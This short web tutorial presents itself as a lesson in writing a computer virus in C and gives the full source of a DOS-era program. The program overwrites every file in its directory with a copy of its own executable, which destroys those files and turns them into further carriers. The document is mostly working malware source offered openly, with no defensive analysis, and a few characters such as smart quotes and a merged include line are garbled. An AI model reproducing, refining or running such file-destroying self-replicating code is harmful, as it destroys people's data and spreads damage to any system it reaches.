This program is an example of how to create a computer virus
in C language. This program demonstrates a simple virus program which
when executed creates a copy of itself in all the other files that are
present in the same directory.
Thus, it destroys other files by
infecting them. The infected file will also become a virus so that when
executed, it is capable of spreading the infection to another file and
so on.
Here’s the source code of the virus program:
#include<stdio.h>FILE *virus,*host;
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}